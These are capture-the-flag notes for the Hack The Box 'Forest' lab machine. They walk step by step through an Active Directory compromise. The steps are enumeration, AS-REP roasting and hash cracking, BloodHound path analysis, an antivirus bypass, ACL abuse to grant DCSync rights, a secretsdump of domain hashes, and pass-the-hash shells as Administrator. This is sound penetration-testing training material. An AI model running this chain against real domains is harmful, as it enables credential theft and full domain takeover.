HTB - Forest

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HTB - Forest

nmap 10.129.95.210 -A

• Looks like this could be the DC (Kerberos)

• Got the domain from ldap - htb.local

• Port 445 SMB is open
• Enumerate with enum4linux

enum4linux 10.129.95.210

• Found users:

• Can also use LDAP to enumerate:

ldapsearch -H ldap://10.129.95.210 -x -s base -b '' "(objectClass=*)" "*" +

ldapsearch -H ldap://10.129.95.210 -x -b "DC=htb,DC=local" | grep "dn: CN=" | grep "OU="

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

• Add users in a file (users)

• Check if usernames are valid:

kerbrute userenum --dc 10.129.95.210 -d htb.local users -o validusers.txt

• Vind vulnerable users:

impacket-GetNPUsers htb.local/ -users users -no-pass -dc-ip 10.129.95.210

• Save the whole hash to a file and use hashcat:

hashcat -m 18200 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Got credentials for a service account.

• Test with CME:

crackmapexec smb 10.129.95.210 -u svc-alfresco -p <password>

• Remote using WinRM:

evil-winrm -i 10.129.95.210 -u svc-alfresco -p <password>

Priv Esc:

whoami /all

• Part of the: BUILTIN\Account Operators

The Account Operators group grants limited account creation privileges to a user.

Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups.

Group members can log in locally to domain controllers

• Upload Sharphound:

upload SharpHound.exe

• Run Sharphound:

.\SharpHound.exe --CollectionMethods All --Domain htb.local --ZipFileName loot.zip

• Download the loot.zip file:

download 20240205024401_loot.zip

• Start Neo4j:

sudo neo4j console

• Open Bloodhound Drag and drop the loot.zip file into bloodhound

Click on - Find Shortest Paths to Domain Admins

If there is loads of old data in bloodhound:

Connect to the neo4j browser gui http://localhost:7474

Run:

MATCH (n)

DETACH DELETE n;

• The user svc-alfresco is part of the Account Operators group

• Click on the Account Operators node and Reachable High Value Targets

• Account operators has GenericAll to the Exchange Windows Permissions

• And that in turn has WriteDACL to the HTB.LOCAL

• HTB.LOCAL is the domain so we know that all accounts are part of it ie. Administrator

• And clicking on the Domain Admins’ node - We can see that Administrator account is a part of that group. And we need DA

• To exploit:

• Create a new user (tooby):

net user tooby Password123! /add /domain

• Add to the group Exchange Windows Permissions

net group "Exchange Windows Permissions" tooby /add

• Open the menu in evil-winrm:

menu

• Use Bypass-4MSI - To bypass AV

• Upload PowerView.ps1 and run it: upload PowerView.ps1

  . .\PowerView.ps1
  $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  $Cred = New-Object System.Management.Automation.PSCredential('htb\tooby', $SecPassword)
  Add-DomainObjectAcl -PrincipalIdentity tooby -Credential $Cred -Rights DCSync

• User tooby has DCSync rights now

• Run a DCSync to get hashes:

impacket-secretsdump htb/tooby:'Password123!'@10.129.95.210 -dc-ip 10.129.95.210

• Got htb.local\Administrator hash

• Get shell:

• Psexec:

impacket-psexec htb/administrator@10.129.95.210 -hashes "<password_hash>"

• Evil-WinRM:

evil-winrm -i 10.129.95.210 -u administrator -H "<second_half_of_hash>"